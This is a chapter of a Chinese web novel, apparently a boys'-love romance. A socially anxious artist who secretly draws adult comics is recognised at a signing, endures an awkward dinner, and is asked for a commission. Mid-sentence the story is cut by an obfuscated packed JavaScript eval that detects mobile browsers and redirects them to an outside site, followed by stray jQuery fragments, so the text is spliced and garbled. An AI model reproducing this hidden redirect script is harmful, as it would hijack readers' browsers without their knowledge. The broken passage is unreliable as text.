场馆里喧嚣声不断，纪繁和江照直径半米的空间里仿佛被屏蔽了声音，两人都在彼此脸上看到了尴尬。没有比被认识的人发现自己在画色情漫画更羞耻的事情了，能与这个相比的，是购买色情漫画时被认识的人发现。


    纪繁一时哑然，而江照因为感冒的原因发不出声音，纪繁的助理搞不清楚状况，出声提醒：“你需要老师的to签吗？”


    放在口袋里的右手攥紧了掌心中的纸条，江照来之前，将想要签名的句子写在了纸条上，打算在签名时递给这位漫画家，知道这位漫画家就是纪繁后，这张纸条就有些拿不出手了。


    江照摇了摇头，助理又问：“只要签名？”


    江照点了下头，挪开目光，暂时缓解了尴尬。纪繁回过神来，趁此机会，快速在空白页上签下名字，他的手在发抖，签出了一连串的波浪号，江照看到了也没说什么，拿过漫画，冲他点点头，转身离开了。


    这事就算过去了吗？！


    纪繁不太确定，接下来，他怀着忐忑的心度过了这场漫长的签售会，午休时，他才看到江来的消息。


    上午9:43分。


    【江来：今天没事，陪着表弟来漫展玩玩，你猜我看到了谁？[图片]】


    上午9:45分。


    【江来：等你忙完了一起吃个饭？】


    纪繁：“……”


    只一天而已，他的马甲就被两个人知晓了。


    纪繁对着手机发了会愣，才给江来回复消息：【抱歉，才看到你的消息，你们已经回去了吧？】


    【江来：没，我在帮止水拍照呢，一起吃午饭吗？】


    【纪繁：不了，我只有一个小时的休息时间，助理帮我买了盒饭，我下午很忙，你们如果有事的话就先走吧，改天再聚。】


    【江来：不着急，我和江照正好都没事，下午就在止水这待着了，晚上一起吃饭啊。[黄豆微笑]】


    纪繁：“……”


    纪繁从没有那么讨厌过黄豆表情包，总感觉这颗黄豆在嘲讽他，它的眼神已经将他完全看穿。纪繁忽然生出了想跟江来断交的想法，这样就可以避免尴尬了。


    纪繁在惴惴不安中挺到了傍晚，好在没有掉什么链子，签售会还算圆满结束。纪繁一下午都在寻摸借口躲过晚上的尴尬聚餐，想好了无数个借口都没了用处，就在他收工半个小时前，止水那边先结束了，三人早就等候在一边，就等着他忙完，带他一起去饭店。


    再次碰上江照，纪繁的脚趾忍不住蜷缩，连直视江照的勇气都没了，脑袋耷拉着，像个做错事的孩子。


    止水是个聪明人，不需要追问，在得知江来知道了纪繁的马甲号后就明白了一切，纪繁的表现跟他想的一样。


    止水勾住纪繁的肩膀，笑着安抚：“小繁繁辛苦了，今天我请客，饭店已经订好了，想吃什么随便点。”


    他凑到纪繁耳边，悄声道：“没关系的，江来很尊重你，他还跟我夸你厉害呢。”


    纪繁苦着一张小脸：“他要是知道我都画了些什么，或许就不会这样说了。”


    止水：“午休时，江来的表弟在看你的漫画，江来好奇看了几眼，什么都没说，他看似性格古板，这种东西还是能够接受的。”


    纪繁瞥向身后，正与江照说话的江来，江来的反应和止水说的一样，似乎真的不以为意，是他太在意了吗？这其实没什么的。


    “他要是因为这个就疏远你，或者讽刺你的话，我第一个揍他！”


    止水搞怪的语气抚平了纪繁紧皱的眉心。如果止水不在的话，纪繁肯定会选择当缩头乌龟，连江来的消息都不敢回，有止水作陪，他稍稍安下心来。


    考虑到纪繁脚伤的问题，几人没去太远的地方吃饭，在附近找了家好评第一的饭店。


    三人私底下也聚过几次，线下见面不怎么聊网上的事情，聊的大多都是现实的话题。


    江来先抛了几个相对轻松的话题，等纪繁放松之后才提起了纪繁的工作。有了前面的铺垫，纪繁也不再回避这个话题。


    “我只知道你是学美术的，不知道你还是个漫画家。”


    纪繁声音压得很低，还是因为紧张带了点颤音：“兴趣而已。”


    江来：“我能看看你以前的作品吗？”


    这对话和过年时被亲戚追问工作履历一样要命，纪繁头摇得像拨浪鼓。


    “为什么？”


    “哪有那么多为什么，别人不想就是不想嘛，你话真多。”止水夹了块东坡肉扔进江来碗里，“吃你的，不把这桌菜吃完不许走。”


    他们订的小包房，空间有限，纪繁坐在江来和止水中间，对面是江照，自坐下后他就没有抬头过，因为一抬头就会与江照对视。


    或许是嗓子疼开不了口的原因，江照全程都安安静静的，但纪繁更偏向于，江照本来就不爱说话。


    为了缓解紧张，纪繁喝了不少


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15437452|169253||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    饮料，他起身要去卫生间，止水不放心他，想要陪他一起去，被他拒绝了。他可以走路，只是走得慢一点而已，还不到需要被人搀扶上厕所的地步。


    解决完生理问题，纪繁扶着墙壁慢慢挪了出来，一抹熟悉身影站在洗手台前，在他出来时望向了他。


    纪繁浑身紧绷，嘴角抽搐了几下，小声道：“你、你也来上厕所啊。”


    江照紧盯着纪繁翕张的嘴唇，之前的几次偶遇他并未放在心上，也没怎么注意纪繁这人，前几次，他都没有听清纪繁的声音。这次在席间，纪繁有几次放开了嗓子，他才留意到，纪繁的声音很好听，而且，和繁星的音色很像。


    江照举起一直握在手中的手机，将早就打好的文字摊开给纪繁看：【老师接稿吗？】


    纪繁：“……”


    纪繁经常被合作伙伴和粉丝们称呼老师，在现实中还是第一次被认识的人叫老师。


    “你、你要跟我约稿？”


    江照也发现了，纪繁在面对自己时非常紧张，纪繁跟他两个朋友说话都很正常，到了自己跟前就变得战战兢兢的，好像他是什么洪水猛兽？


    江照犹豫了下，还是问出了自己的困惑：【你好像很怕我？】


    纪繁：“……”


    纪繁摇头：“没、没有。”


    如果不结巴，不避开他的目光的话，江照倒是能相信纪繁的谎言。他想起江来提过纪繁是个社恐，忽然就明白纪繁谨小慎微的原因了。


    江照没再揪着这点不放，又打下了一行文字：【我很喜欢老师的风格，我能跟老师约稿吗？】


    纪繁：“……”


    喜欢他的画？


    想不到，江照看着挺正经的，原来也喜欢成人向作品？


    等等，问题是，他就是这些色情画作的作者啊！


    “不约。”纪繁回答的毫无底气。


    【我看老师各个平台账号都写着接稿，是因为怕我，才不想接吗？】


    纪繁：“……”


    奇怪的是，江照明明没有拉近两人之间的距离，纪繁还是感受到被江照逼近的压迫感，这使得他的声音更弱了：“你想约什么？”


    趁着江照低头打字的期间，纪繁调整了呼吸，右脚刚抬起，还没往后退一步，手机屏幕就摊开在他眼前。


    【我想约我和前男友的双人画。】


    纪繁：“……”


    都是前男友了，为什么还要约？？？